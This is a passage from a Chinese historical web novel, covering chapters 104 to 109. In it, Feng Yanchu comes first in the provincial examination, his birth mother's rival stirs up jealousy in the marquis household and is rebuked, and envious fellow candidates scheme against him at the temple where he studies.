封简宁一字不落的看完,随后点头道:“你这篇戍边论写的着实不错!”随后又指着那句‘能战方能止战,敢战方能言和’,说道:“如今安怀部落势力逐渐增大,西戎又吞并了几个小部落,有些不安分;只是现在朝中夺嫡愈演愈烈,很多人都不想在此期间起战事,为父担心主考官也是这种态度。”
也许正是因为前世,有一段时间,国家落后弱小,政府腐败无能,让外敌肆无忌惮的侵略国土。富有却没有强大的武器保护自己,犹如小儿持金,闹市而行。这也让封砚初有一个坚定的信念,那就是落后就要挨打,弱小就要被欺负!
“父亲,已经写完了,即使后悔也无用,而且我不觉得自己的策论有问题。”
“你长大了,有了担当。”封简宁十分感慨,相比起长子的温和,他从次子的策论中已经看出他坚毅的性格。
父亲突如其来的夸赞,使得封砚初一时之间不知作何回答,又想到四弟,“父亲,有时间你也多关心关心四弟,儿子瞧他虽然胆子略小,但很知上进,他也希望父亲能夸一夸呢。”
“我知道了,好了,策论我也看过了,就不打扰你读书了。”说实在话,封简宁对三郎的关注都比四郎多。
四郎胆小不惹事,天赋也没有大郎和二郎好,就忽视了。虽然三郎不爱读书,可恰恰因此关注倒还相对多一些。
其实在封简宁心里,对几个孩子的关注度,疼爱度都是有排序的。也重视大郎,那是因为大郎是世子;可能因为二郎自小调皮,不怕他,又聪慧,自然而然关注是最多的;接下来便是长女,她是第一个孩子,又是嫡出。
紧接着便是三郎,这孩子并不笨,若下苦功读书,将来有中的可能,小时候容易让下人欺骗,为了管教倒也多留了几分心思。
最后便是四郎与次女,四郎不必说;他时常忙着,次女又是庶出,肯定关注不到。
第一百零四章 看来还有隐瞒
信国公府门前。
封砚初此刻正站在门口,与上次不同,这些下人今日换了一副嘴脸。
“封二郎君安,小的这就带您进去。”
“嗯。”不过一个狗仗人势的小人罢了,他并未刁难,只是轻轻颔首。
刚进院子,就见姐姐早就等着了,“想着你才考完,给了你两天时间歇着。”
封砚初笑道:“正值金秋,灵台寺的枫叶林已红,弟弟想着邀请姐姐同去游览,这才上门打搅。”
“即是你亲自来请,必定也会送我回来,便不带那么多人,让碧玉跟着便好。”封砚敏说话间请弟弟进去。
可对于封砚初而言,若非姐姐在这里,他是一步也不想踏入,摇头道:“不进去了,现在时间刚好,去了正好在灵台寺用一顿素斋。”
“既如此,那走吧。”姐弟俩一番表演,不过是说给院子里的长舌之人听的。
驾车的正是冯四,几人一起去了‘枕松闲居’。
刘氏从下人那里得知此事后,捂嘴笑了好一会儿,“哎呀,现在封氏是一点也不装了,时不时就要出门。不是今儿回娘家,就是明儿赴什么赏花宴,你说三郎听后是什么滋味?”
徐大郎正在逗弄笼子里的鹦鹉,“也是报应,但凡他收敛些,也不会落到这般田地。”
刘氏斜眼看了一眼夫君,冷笑一声,“你信不信,这封氏早晚与你那三弟和离!”
徐大郎停下手里的动作,转头看向娘子,语气中带着些不信,“不可能,封家与咱家那是联姻,更何况武安侯在官场中,还要靠着祖父呢,一旦和离,那就等于告诉外头两家分道扬镳。”
刘氏见夫君不信,继续道:“那你可别忘了,武安侯府还有封世子和封二郎呢,祖父年岁几何?他俩人又年岁几何?没考中倒也罢了,若科举顺利,仕途一片光明。”
徐大郎嗤笑道:“净胡说,武安侯要是有那能力,还能投靠祖父?朝局复杂,他们的父亲都不行,难道还指望两个乳臭未干之人!”
夫君根本没放在心上,刘氏也不好继续争执,只是她觉得封二郎既然能逼得国公爷投鼠忌器,一旦将来长成,前途未必不如其父。
广林巷。
封砚敏刚到门前,就看到不远处的梅林,“你这里冬季煮茶赏梅不错。”
“确实不错,只是我却很少得见。”封砚初因为读书的缘故,反而冬季不能常来。
“几年前,咱们还一起来此处赏过梅,当时你还装作初次来的样子,现在想来只觉得好笑。”封砚敏剜了一眼弟弟。
封砚初一边将人往里迎,一边说道:“弟弟惭愧,姐姐当时好高兴,还做了一首诗,我到现在都记得。雪鼎初分蟹目时,暗香先破冻醪卮。窗衔疏影戍焦墨,案列春痕入旧诗。数朵偏宜寒后看,一生难得水边姿。铜瓶自汲冰泉煮,不与长安粉黛知。”
“你竟记得。”封砚敏只觉时间恍如隔世,当时自己很是惬意。
封砚初也想到当时的情形,“自然记得,那首诗还是我抄录的呢,我领姐姐四处转一转。”
不过十来间屋舍,没多久便转完了,“你这里虽说布置简单,家具也不是什么好木头,胜在清幽二字。”封砚敏说话间已经在心里规划好如何改进一番。
进了屋子,二人落座,她四处看了看,里里外外竟然只有冯四在忙,“怎么也没个下人伺候,那冯四一个人如何顾得过来?”
“我在隆安寺读书,这里也就是偶尔过来一趟。”俩人正说着话,就听见一阵敲门声。
原来是孙延年来了,才进院子就喊道:“二郎!二郎!我方才瞧见你来‘枕松闲居’了!你也真是的,考完试也不说来找我。”
封砚初赶紧出去迎接,“哦,我陪着姐姐一起来的。”
封砚敏也出了屋子,看着来人道:“孙大郎,看来你也知道这个地方了。”
孙延年一时之间有些尴尬,呵呵干笑两声道:“封姐姐,这不是今年正月初四二郎才带我来的,不过我在旁边也买了一处宅子,最近这几日都住在那里。”每次见到封砚敏,他就下意识的想到小时候,明明和二郎一起干的坏事,可对方偏心只教训他,导致回去被父亲收拾了一顿。
进门落座后,他便抱怨道:“封姐姐,你是不知道,其实我去年就知道了,亏我当初还帮他藏着掖着,要不是我强烈要求,他根本不可能带我来,就连他练武用的长枪和软剑都是我送的!就这,要不是我发现他会武,没准这会儿还瞒着呢!”
封砚敏笑道:“是吗?要不是我上次去看他意外发现,我也不知道呢。你们俩都会武,不如比试一番让我一饱眼福,如何?”她面上虽笑着,但从孙延年的口中得知了一件事,那就是二郎的武功并不是对方教的,看来还有隐瞒!
孙延年笑得好不得意:“那敢情好,二郎的剑术确实厉害,我自知比不上。不过自从上次比试之后,我回去可是苦练枪法!”
通过这次比试,封砚初发现孙延年的枪法确实又变强了,不过他也没有懈怠,比起上次,枪法也多了些灵巧机变,做到了攻守兼备,两人打的难舍难分。不过,最后还是孙延年胜出。
“比起上次又进步了,恭喜啊!”孙延年擦着头上的汗,真心为好友的进步而高兴。
“那也要谢谢你今日帮我喂招,你的枪法比上次更强了!”封砚初感觉到了孙延年的目的。
“好啦,你们都别互相夸了,饮些茶水。”今日是封砚敏第一次亲眼看到弟弟与人对练,她是看不出两人之间究竟有多少差距,只知道他们打的十分精彩。
因为‘枕松闲居’并未置办厨具,所以中午几人让冯四去食肆提的饭菜。
第一百零五章 万万不可低估人心之恶
封砚初通过自己的能力,向武安侯府的所有人证明了一件事,只要他想做就能做好。
当白管家怀着激动的心情回来的时候,嘴巴已经颤抖的几乎说不出话来了,“大喜!大喜!”
此话一出,大家反而更加紧张,老太太直接道:“大郎和二郎都中了?第几啊!”其余人也都屏住呼吸等着答案。
“世子中了第五名!二郎君中了头名解元!小的瞧得真真的!”作为武安侯府中为数不多识字的下人,白管家这次亲自去瞧了,为的就是能讨个喜气。
“你说什么!解元!”大娘子‘蹭’的一下站了起来,又立即反应过来,“哎呀,这可是双喜临门啊!”
老太太激动不已,“双喜临门啊!快来人,去撒喜钱,放爆竹,咱们要好好庆祝一番!”
大娘子连忙应道:“是是是,这样的大喜事可不得好好庆贺庆贺。”
封简宁也高兴不已,他觉得武安侯府今后有望了,不过作为父亲,还是要给两人紧紧弦,“虽说你们都中了,但明年还有会试和殿试,万万不可松懈。”
封砚开与封砚初兄弟二人站起来拱手道:“是,父亲,儿子谨记。”
老太太也点头道:“你父亲说得对,高兴归高兴,咱们还得接着考!”
“是,祖母。”
二叔封简言瞟了一眼乐的嗞着大牙的儿子,悄悄踹了对方一脚,几乎是在用挤出来的声音警告,“你明年与四郎一起考,若是没通过,看我不打断你的腿!”
封砚明正高兴着,冷不丁被这么一说,心情顿时万分沮丧,低声道:“知道了。”心里却吐槽着,大好的日子怎么说出这般扫兴的话。
打发了前来报喜之人,孩子们离开了。老太太,大娘子,以及婶娘温氏却在商量着举办一场宴会,也借此机会看一看别人家的姑娘。
封简宁却想到了次子之前与他说过的话,如今武安侯府与信国公绑在一起,选择的范围也只能是皇后一党,再说还未及弱冠,实在不必着急。
“且先留意着,他们毕竟才是举人,若明年得中进士,婚事定不止于此。”
这话落在老太太她们耳中却成了,他对两个儿子的婚事十分看重,想等明年之后再说。
老太太理解儿子,不过事无绝对,考上举人,不代表明年一定能中进士,劝道:“我知道你看中大郎和二郎,希望他们明年考中进士再言婚事更好,可明年究竟如何还未可知,现在他们中举,外头的人也正心热着呢。二郎还好说,大郎年长一岁,而且还是世子,婚事拖不得。”
封简宁如何不明白老太太想趁热打铁,进一步增加武安侯府的地位。明年万一没中,那就凉了,可他却并不想与信国公,与九皇子绑的太深,“母亲,此事我有别的打算。”
儿子如此坚持,老太太失望道:“你是他们的父亲,自然是你做主。”
“多谢母亲。”原本还高兴的议论着举办宴席,现在却不欢而散。
二叔封简言只是懒散,并不傻,出了老太太的院子,就跟着大哥去了书房,“大哥,大郎他们的婚事你是怎么想的?”
封简宁这才将次子的话说了,“陛下虽然年岁已大,但目前并未透露出立谁为太子,所以我觉得二郎说得对,武安侯府不宜在皇后的船上绑的太紧。”
封简言不耐烦道:“要我说这分明是陛下舍不得手中的权力分散,这才拖着大家,既不立太子,也不封王!”
封简宁摇头道:“我总觉得陛下不仅仅担心权柄被分,肯定还有其他原因。”
“这几年,几个皇子之间的争斗愈演愈烈,牵扯进去的大臣更多。”自从父亲去世后,封简言收敛不少,他很清楚没了父亲,武安侯府不如从前。
很多人以前或许会看在父亲的份上,给武安侯府一些面子。丁忧后,大哥投靠信国公,这也就导致一部分政见不和的退而远之,还有一部分见武安侯府地位不如从前,顺势躲了。现在往来的大多都是九皇子一派的,要么就是一些联系比较紧密的老亲。
与封简宁的愁闷不同,大娘子心情很好,她觉得距离自己女儿离开信国公府的日子又近了,此时她正和白管家说着庆贺的事情。
“虽说方才侯爷没有明着发话,可毕竟双喜临门,二郎又中的是解元,老太太的意思是要好好办一场。”
白管家立即接话道:“那是,也不是谁家都有这个福气的,一切等大娘子示下。”
大娘子一番吩咐,又敲定具体事宜之后,这才想起来,要问一问二郎是否还要继续去隆安寺读书。
封砚初与其他兄弟姊妹在大哥封砚开那里聚着说了一会话,才进门,大娘子就来了,“母亲,您怎么亲自来了?有事叫儿子过去吩咐就行。”
大娘子看着依旧有些空荡荡的房间,道:“我是来问问你,既然已经考上了举人,还要不要去隆安寺读书?”
“自然还是要去的。”既然决定好了,哪有半途而废的道理。
“既如此,我也不阻拦,只是今时不同往日,你中了解元,这次去不能只带着暮山和冯四,一旦他们出去办事,你身边没人实在不妥当,将随身的小厮带几个过去。”
就在封砚初想要说什么之时,大娘子抬手阻拦,继续道:“以前你是秀才,你和那些人还差一层,这没什么。现在你不仅仅是举人,更是解元,来年可是要参加会试和殿试的,你们就是竞争对手,万万不可低估人心之恶,一个不留意,给了别人可趁之机,岂不耽误了大事!”
封砚初听后拱手郑重道:“儿子多谢母亲提点,否则哪里会想这么深。”在他心里此时有没有发现自己习武已经无所谓了,毕竟明年春闱在即!
第一百零六章 风头都被抢去了
宴请之日,封砚初与长兄封砚开特意被父亲安排在门前迎客,两人脸上的表情,行礼的动作一模一样。
这就导致每个进来的人都要感慨一句,“武安侯有福气啊,真不愧是兄弟俩。”
或者是,“瞧这俩兄弟多好啊!”
宴席中武安侯十分得意,觉得自己虽然仕途寻常,可有两个好儿子。
信国公并没有来,而是让世子前来恭贺,对方也是羡慕,“恭贺武安侯,别人家的孩子中上一个已经是喜事,你家确是两个儿子都中举了。”
封简宁此刻觉得倍有面子,信国公府又如何,子孙中可有这般出息之人?不过嘴上还要客气几分,“同喜,同喜,也是犬子侥幸。”
黎家乃是皇后的母家,此次也来恭贺,“封大人教导有方啊,竟将两个郎君教养的如此优秀,不知有何良策啊?”此话一出,所有人都支着耳朵仔细倾听。
封简宁笑道:“哪有什么良策,只是素日里严苛,他们也都是听话孝顺的好孩子,最重要的是主动去学,这便成功了一半。”
有人听了不信,什么听话孝顺,封大郎还有可能。可那封二郎的名声谁又不是没听说过,最是淘气,曾经被武安侯追着打,都上房顶了,现在竟还有脸说听话孝顺。
有的人却深以为然,即使家长再如何逼迫也无用,孩子自己不爱学。
大娘子这里也是乐呵呵的,不停地有人打听两人的婚事,但都一一被婉拒了。
“唐大娘子,你家大郎和二郎年岁不小了吧?可说了人家?”
大娘子笑呵呵道:“他们还小呢,再说毕竟是男孩子不用着急,前两天他们父亲还与我说,明年就是春闱,万不可分心。”
“这有什么,可以先定下来,等来年再成婚,更何况这成婚后就有娘子照顾,你这个做母亲的岂不省心?”
“是啊,是啊,我娘家堂弟是江州知府,生的女儿如花似玉,知书达礼。”
“我侄女也是官家之女,家里最是清贵,自幼那也是精心教养,精通诗书。”
大娘子掩嘴笑道:“光我听起来都是好孩子,心里也想给我家孩子定下来,只是这事不仅是我家侯爷的意思,就连我家老太太昨儿还说,要让两个小子收心读书呢,若因此扰了心绪,岂不是我的罪过,快吃盏酒,这是南边来的雪醅酒。”
众人听后均端起酒盏浅饮,然后跟着赞上几句,“不错,不错。”
“是啊,这南方的酒确实与咱们北边的不同。”
只是有人心里不甘,觉得唐大娘子拂了自己的面子,难免吐槽抱怨。
“哼,不过是个庶子而已,还想说什么样的亲?”
有人听见回怼道:“武安侯府这两个孩子眼看着科举有成,若明年得中进士,那说亲的只怕要踏破这门槛了,你侄女不过是七品末流小官的女儿,人家就再是庶子,那将来也是武安侯。”
“又不是自己生的,那般上心做什么!”
“人家是庶出又如何?不是唐大娘子生的又如何?难不成还敢不称一声母亲?”
今日的宴饮终于结束了,封砚初拜别其余人回到自己的院子,李妈妈端着解酒汤进来。
“二郎,你饮了不少酒,喝些解酒汤便歇了吧。”自从二郎去了隆安寺读书之后,李妈妈是越来越觉得自己无用,二郎也用不上自己,唯一能做的就是见缝插针的关心。
“多谢妈妈。”封砚初确实喝了不少酒,这个时候的酒度数虽不大,可架不住量大,现在已经有些微醺。
李妈妈并未离开,而是坐到一旁问道:“二郎,当真明日就要走?”
封砚初将碗里的汤一饮而尽,然后点头,“嗯,我已经耽搁了太多时间。”
李妈妈是亲看看着自己一手带大的二郎,从原来那个调皮捣蛋的孩子,变成了如今这个样子,既欣慰又心疼,“你今日饮了这么多的酒,歇一日,后天再走如何?”
封砚初轻轻摇了摇头,“妈妈,我知道你担心我,只是我长大了,自然要考取功名的。”
李妈妈见劝不动,便道:“大娘子在你屋子旁边又租了一间,郑伟已经过去了,眼见着天一日日渐冷,去年的衣服穿起来有些小了,今年的衣服都是新做的,也收拾好了,明日过去直接带上。”
不知是不是年岁大的缘故,或是觉得要有好些日子见不到人,李妈妈比起之前更显絮叨。
李妈妈离开后,王锦娘也来了,她既为儿子骄傲,又觉得儿子辛苦。今日刘姨娘在她面前好一番炫耀,说二郎考了解元又如何,别看现在都是举人,大郎可是世子,将来是要承袭爵位的。这些话她是不会对儿子说的,他们二人兄弟情深,别为这些闲言碎语伤了感情。无论别人怎么看,在她心里自己儿子就是最好的!
封砚初这边,正与自己姨娘说着话。而大郎封砚开刚回去,刘姨娘早就等着了。
“姨娘,时间也不早了,你怎么来了?”封砚开脱口而出,连他自己都没察觉出语气中隐藏着不耐烦。
“说的什么话!我是你姨娘,怎的不能来看你?”刘姨娘原本高兴的心情,被儿子这两句话冲淡了几分。
封砚开立刻意识到不对,又道:“哦,我是说时间不早了,一会儿内院的门上锁了,你就进不去了。”
“我看着时间呢。”刘姨娘觉得自己多心了,瞥见儿子笑吟吟的样子,“今日可开心?”
“高兴归高兴,只是有些累。”封砚开觉得和那些当官之人说话累的慌,说一句话要再三思虑,只是这些怎么可能告诉姨娘。
刘姨娘憋了好些日子,在她心里武安侯那都是她儿子的,凭什么让二郎沾光,尤其今日王锦娘那副似笑非笑的样子,更让她窝火。
于是开口便抱怨,“我要是你,就高兴不起来,你是侯府世子,是长子,又中了举人,原本这宴席应该是为你办的,可风头却让二郎抢去了!人人都夸他是解元郎,这两日我耳朵都快听出茧子来了!”
“姨娘!”封砚开见对方越说越不像样子。
第一百零七章 你能不能不要胡说
“你若再有此言,就离了我这里!”封砚开撇过脸不再看对方。
刘姨娘捂着自己的胸口,眼中满是惊诧,“你居然这么说我?你是我十月怀胎生下来的,我是你的生母啊!”她简直不敢相信,她为儿子掏心掏肺,所做的一切还不都是为了他,二郎一贯狡诈,若不防着些,将来还不知要带走多少家私!就他蠢,还当人家是亲兄弟!
“姨娘!我与二郎是亲兄弟,你竟在我跟前如此说他,更何况今日的宴席本就是父亲,母亲为我二人共同举办,不分高低!你可懂的?”封砚开有些无力。
姨娘自幼就进了侯府后院,大字不识一个,这些年从未踏出过一步,只看的见后院那一点天空,哪里知道外头的光景,若不兄弟齐心,武安侯府将来如何在京城立足!
“你们都姓封不错,可你娘姓刘,他娘姓王!亲兄弟?亲兄弟还明算账,更何况你们不是一个娘!他那般精明,这些年把你哄的一愣一愣的,若我不在后头帮你看着些,帮你谋算,将来还不知道有多少家私被他搬出去!”刘姨娘被气到不行,觉得儿子亲疏不分!
“姨娘!我们兄弟四人的母亲是大娘子!您不可再说这僭越之言,更何况,二弟自小就待我很好,反而是这些年来我没有尽到一个兄长之责,让他要同我一起肩负侯府的将来。”封砚开对二弟十分愧疚,他知道对方本来想要做一个富贵闲人,可到头来无论父亲,还是自己,都逼着对方能够托起武安侯府的未来。
“什么?他竟然要同你抢世子之位!你还偏帮他?你疯了不成!”其他的刘姨娘压根没听进去,她现在焦急的是老二要抢儿子的世子之位!
“姨娘,你能不能不要胡说!朝廷御旨已发,爵位早就板上钉钉无可更改!再说,你当真二弟稀罕这爵位吗?您自小就进了侯府,怎知外面的天是怎样的?”封砚开感觉自己说的十分走心。
可落到刘姨娘耳中却变成了,儿子嘲讽自己是一个婢妾,“怎么,连你也嘲笑我是奴婢出身,大字不识一个?不像其他三个是外面聘的,老二姨娘的爹更是秀才出身,王锦娘她自己知书识礼,是贵妾!人家大娘子还是官宦人家出身,可惜你投到我肚子里了!”
“姨娘,我何曾嘲笑过你!再说……”封砚开的话还没说完,就听门外传来一个声音。
“我竟不知原来你私底下是这般挑拨他们兄弟的,可是我武安侯府庙小容不下你!你是什么台面上的,敢这样胡言乱语!”
封简宁本来是要歇着的,但想到明日有早朝需早起,便想着这会过来与大郎说几句话。没想到在门外听见刘氏这些妄言,唯一让他欣慰的是大郎并未听对方胡说,反而还劝着。
封简宁的到来可把刘氏吓得够呛,连忙行礼低头,磕磕绊绊道:“妾不敢。”
他冷哼一声,“不敢?若非你生了大郎,就单单你对他胡教一气,武安侯府早就容不下你了!”
封砚开如何不知因为他现在的身份,养大了姨娘的心,她早就没了以前的谨慎小心。自己渐渐长大,在外有了见识之后,愈发觉得与姨娘无法沟通。
但毕竟生自己一场,于是立即拱手道:“还请父亲息怒,姨娘自幼便进了侯府,大字不识一个,她并不懂这些,只是一味揣测胡言。您看在儿子的份上,饶了她吧,从今以后,就不要让她来我这里,她再也不敢了。”
“刘氏,我且看在大郎的面子上饶了你这次。从今以后你不得踏出院门一步,若是再让我知道你私下抱怨,对二郎出言不逊,挑拨他们兄弟的关系,大郎求情也无用!”封简宁是动了杀心的,他只庆幸这么多年大郎意志坚定没有长歪,否则这世子之位还真就是二郎的了。
刘姨娘被侯爷那杀人的眼神死死地盯着,浑身被吓的直冒冷汗,战战兢兢地行礼,“妾记住了,妾必定改过自新!”
“滚出去!”
一声命令,刘姨娘连滚带爬的离开了,直到回了自己屋子,接连喝下好几杯茶,才安定下来。此刻,她知道,侯爷方才是想杀她的,没有儿子的话,那就肯定死了。
“父亲息怒,是姨娘目光短浅。”封砚开也松了一口气。
封简宁坐下之后,看着长子道:“幸亏她没有挑拨的你们兄弟不和,否则我饶不了她!”
“二弟很好,我现在都还记得小时候我们淘气,一起挨板子的事情,当时四弟胆小告密,我很生气,还是二郎劝我与四弟和好的。”封砚开挑了些小时候的趣事说给父亲,表示他们兄弟之间一直很好。
“你们不仅偷喝琥珀酒,还往酒里撒尿,我记得是二郎的主意,你们几个就数他最调皮,幸亏提前发现,否则端上宴席可了不得。”这几年为了维持武安侯府,让封简宁十分疲惫,难得今日忆起孩子们小时候。
“二弟看着是我们兄弟几个里头最淘气的,可其实他心底最善良,他见姐姐喜琴,便去求您开了琴课;见三弟被小厮哄骗,便主动找母亲讨回公道;见四弟胆小,便时常照顾;竟比我这个大哥做的还要好。”其实在封砚开心里,他们四人虽是兄弟,可自己与二弟关系最好,有时候难免对其他兄弟姊妹做的不周到,还是二弟替他找补。
“是啊,这孩子最是心软,为父现在只希望你们兄弟二人能其力断金。”封简宁拍着长子的肩膀郑重嘱咐。
“是,父亲,儿子谨记!”封砚开知道父亲的意思,万一被牵扯进去,武安侯府还有自己和二弟一起扛着。
第一百零八章 只觉差距更大
当天晚上,大娘子就知道了。之前也提点过几次刘氏,可每次说完能好一段时间,过后又犯,索幸大郎是个拎得清的,她这才撒开手。
累了一日的大娘子躺在榻上休息,听了铜雀带来的消息后,嘴角浮出一抹浅笑,“到底出身差了些,只能看见眼前的一亩三分地,如此也好,侯爷处置,谁也说不出一句不是来。”
半夏为香炉添着安眠香,听了这话道:“今儿还听见刘姨娘在王姨娘面前好一通夸耀,明里暗里贬损二郎君,王姨娘在二郎君跟前硬是半句没提。”
“王锦娘的父亲是秀才,又只有这一个女儿,自然要教的知书识礼,若非娘子早逝,他自己身子太差,担心死后女儿被人欺负,也不会到咱家里来,这怎么能一样。”大娘子之前是碍于大郎的脸面,只能嘴上训诫罢了。
半夏又夸起其他两个,“不止呢,这张姨娘也不识字,家里屠户出身,可奴婢瞧着她心胸开阔,三郎不爱读书也不见她计较。方姨娘家里穷,可来了侯府自学刺绣,那一手活计很是鲜亮,为人也和气,从不起争执。”
大娘子叹气,“偏生她是我身边出去的。以前看着小心谨慎,可这么多年下来就她最不争气,要不是担心大郎脸上下不来,我早就处置了,如今也好,若再敢胡言侯爷也不会放过她。”
半夏犹豫道:“不会吧,刘姨娘毕竟是世子的生母。”
“侯爷是动了杀心的,如今满府里谁不知大郎和二郎就是他的眼珠子,若非看在大郎的面子上,否则她这次都活不了!”大娘子觉得刘氏前些年还好些,这几年愈发的蠢了。
说到此处又想到明日二郎要去隆安寺,“明日二郎就要去隆安寺读书,东西可都打点妥当了?”
半夏笑吟吟道:“早已经妥当了,下午那会儿奴婢特意去瞧了,一应要用的东西都是齐全的。”
“嗯,衣裳多带些,二郎比之前身量又长了些,去年的恐怕有些小了。”
半夏哪里不知道大娘子心里的想法,早早就叮嘱那些人先做二郎君的,“您放心,这早就准备好了的,而且咱家大姑娘还送来几身,前些天二郎君还特意去信国公府接姐姐,去灵台寺赏枫叶林呢。”
“他们姐弟感情好,我这个做母亲的自然也高兴。”
次日,封砚初就回了隆安寺,那些租住在此处的学子早就知道他中解元的事情。
就比如谢鹤川还问呢,“二郎,按理来说不是有这鹿鸣宴吗?怎么这么快就回来了?”
其实比起地方为新科举人办的鹿鸣宴,京城更重视殿试后,陛下举办的琼林宴。而封砚初心里也担心明年全国举人汇聚京城,这贡生不好考,所以也是不敢耽误。
便道:“明年春闱在即,如何敢耽搁。”
江行舟也连连点头道:“是啊,是啊,现在还是赶紧回屋读书吧!”说完直接离开了,租住在其他院子的举人们见状也不好多留,纷纷告辞离开。
等所有人都离开之后,郑伟便进来禀报,“郎君,这几日您不在,小的瞧见有其他院子的几个人,偷偷摸摸的朝咱们这里观望。”
封砚初放下刚拿起来的书,问道:“可瞧仔细了,都有谁?”
郑伟立即道:“小的暗中打听了,是一个姓刘的,还有一个姓王的,都是隔壁院子的。”
“这几日,你与其他人都仔细看着,若对方有异动再来禀报。”他重新拿起书读起来。
“是。”郑伟见状赶紧告退离开。他都听大娘子说了,让他们留意那些嫉妒眼热之人,万一这些人使个坏,即使到最后揪出来,那也耽误了郎君,现在任何事都没有会试重要!
之后几天果然有异动,有人主动来攀谈,甚至邀请封砚初去红乐坊放松放松。
他如何不知这是想要引诱自己去那些秦楼楚馆,虽不知背后还有什么打算,可这明晃晃的直来,他要是还能上当,就是个傻子。
“还请刘郎君、王郎君见谅,在下虽然通过了乡试,可还有明年的春闱。这段时日与诸位探讨文章后,自觉才疏学浅,如何敢将光阴浪费在杂事之上。”他已经说的很客气了。
谁知那刘郎君仿佛没看见一般,甚至还想搭着肩膀,只是被封砚初躲了过去,“瞧你说的什么话,你可是解元,还担心明年中不了?若你都中不了,那我们岂不是要收拾行囊回家去?”
另一个姓王的也搭话道:“又不用你掏钱,我们请你去。”
封砚初眼见对方这般不识趣,直接说道:“还请二位见谅,我毕竟出身武安侯府,像红乐坊这种地方是从来不去的,即使消遣也只会去瑶台居。”这就是告诉眼前二人,红乐坊档次太低,他瞧不上。
“瑶台居?”这个地方刘,王二人只听说过,连门都没进去,只因花销太大。而且瑶台居走的是风雅之路,好些人去了那是赏舞听曲对诗的。
没错,别看瑶台居份属风月之地,可那里头的姑娘都是精心教养,琴棋书画都有涉猎,有的更是专精一道成为清倌人,不是你有钱就可以进人家的闺房。
“呵呵,既然封郎君要读书,那我们就不打搅了。”两人听后只能告退,他们脸上发烫,人家虽然住在隆安寺,就以为大家是一样的了。
家境门第不同,他们下定决心要请的红乐坊,人家根本瞧不上,此刻只觉差距更大,心中更是妒火中烧。
封砚初每日忙着读书,再说侯府前景不妙,他又怎么可能去瑶台居,既然他们不识趣,那就让这些人知道他瞧不上,更要清楚差距。
第一百零九章 有个吸人精血的邪祟
封砚初瞧着两人离去的方向,对着门外的暮山道:“暮山,进来!”
“郎君,您吩咐。”暮山垂头拱手静候。
“我瞧着方才那两人的眼神不安分,恐怕会继续生事。”说到此处又道:“纪闻道与他们住在一个院子里,你去那院子不方便,就让他帮忙盯着些,事后我有重谢,正好我这次带了些薄礼,你一并给大家送去。”
“是,郎君!”暮山得了吩咐,便与郑伟两人拿着茶叶一起出去了。
封砚初吩咐完之后继续投入书中世界。对于这种小人,他本不欲理会,若只是单纯的羡慕也就罢了,奈何心思实在歹毒,既如此,那便顺带处理了吧。
他之所以能这么安安静静的在隆安寺读书,多亏白管家靠谱。租房时特意向寺里的和尚打听清楚了,只有现在这个院子最清净,三人都本本分分的读书备考,没有被京城的繁华所诱惑。
其实白管家原本看中了隔壁院子的房间,不仅宽敞,采光还好。可那里有两个学子时常外出,这才确定了现在这个。
谢鹤川透过窗户看见两人灰溜溜的离开,接连摇头,“唉,嫉贤妒能,干什么不好,偏使这般下作的手段。蠢人呐,明年春闱,天下学子汇聚京城,优秀者不知凡几,有这时间还不如多读两本书。”
其实那两人的动作不仅郑伟看见了,谢鹤川亦然,他还知道的更多一些。只是比起刘、王二人因封砚初得中解元,多一个人竞争,决定引诱对方。
他更愿意将此事提前说了,无论对方是否真的会上当,也要让其承自己一个人情,武安侯府,他是跟定了!
刘举人与王举人回到屋内就开始破口大骂,“这就是那些勋贵的德行,丝毫瞧不起咱们这种人家!”
“可不是,他们去一趟瑶台居比得上咱们一年的花费!”王举人一想到方才封砚初那副高高在上的样子就觉得刺眼。
“试问咱们在学识上不比他差,可就是被看不起!”刘举人说的大言不惭,可实际上两人都发虚,自从来到京城参加会试,他们就被迷了双眼,这里的繁华是从未见过的。
“那怎么办?难道就这么算了?”王举人不甘心道:“你方才是没瞧见那个姓郑的看咱俩的眼神!呸!一个仆人,就因为在武安侯府伺候人,竟比咱们还高贵不成!”
“急什么?距离明年春闱还有好几个月呢?”刘举人目光幽深。
就在这时,便听见一阵敲门声,俩人连忙住嘴,清了清嗓子问道:“谁啊?”
“小的暮山,方才二位走的太急,忘记带上我家郎君准备的礼物。”暮山依旧还是那副冷冷的样子。
刘举人连忙开了门,脸上堆着笑,仿佛之前那些恶毒的话并不是他说的,“多谢你家郎君费心。”
王举人也十分客气道:“真是惭愧,我们都未请封郎君,竟还收到东西。”说话间还邀请暮山进屋。
暮山脸上依旧无甚表情,微微颔首告辞,“小的还要给其他人送,就不多打扰了。”
刘,王二人进门后便拆开,原来是一包茶叶,品质属于中等,随后撇撇嘴,“还是武安侯府出身呢,不说送些上好的,竟拿这个来糊弄。”两人虽然嘴上说着,可却没见将东西扔了,反而开始烧水沏茶。
话说纪闻道贪便宜租了隆安寺的房子,更倒霉的是住在这二位仁兄旁边,可是深受苦楚,一开始两人还算客气,三人倒是处的不错。
没成想,自从在一起交流过几次文章之后,刘、王二人就变了,明里暗里想将自己引上别路。最后实在无奈,他主动出击,打秋风,处处占便宜,二人这才怕了他。
‘咚咚咚’一阵敲门声传来。
纪闻道还有些奇怪,难道是这两位来了?一边思索着对策,一边去开门。见是暮山,脸上的表情都变了,“哦,你是封郎君身边的人,有什么事吗?”
“我家郎君这次回隆安寺,从家里带了点薄礼,让小的送来。”
暮山是来送东西的,但纪闻道见对方貌似还有事,连忙让路,“哦,哦,快请进!替我多谢你家郎君。”
暮山进屋后,将封砚初吩咐的话重新说了一遍,“还请纪郎君放心,也不用您做什么,只需平日里多留一些,事成之后我家郎君必有重谢。”
“没问题,答谢就不必了,我必定时刻注意。”纪闻道答应的很快,看来这刘、王二人又用恶心的手段引诱封砚初,可人家是侯府出身哪里瞧得上,又怎么可能识不破,这是踢到铁板上了。
送走暮山的纪闻道心情十分美妙,他用送来的茶叶沏了一杯,浅尝一口,随后点头道:“还不错,看来今冬的茶叶钱省下了。”
时间流转,寒冬渐至。
王刘二人觉得等到了时机。
而封砚初何尝不是呢。其实他也不理解,天下学子那样多,即使害了自己又如何,难道他们二人就可以考中?若真如此,大家岂不是纷纷效仿?除了感叹人心难测,也只能趁着这个冬天了结,否则到了明年,岂不是连年夜饭也吃不下。
他特意在孙延年休沐的前一日回了‘枕松闲居’,又让人知道他次日回来。
到了第二日,孙延年便上门了,两人先是一番闲谈,随后暮山在封砚初耳边低语了几句。
封砚初听后竟‘噗嗤’笑出了声。
孙延年见状,伸长脖子好奇道:“什么好笑的事?快说来听听!”
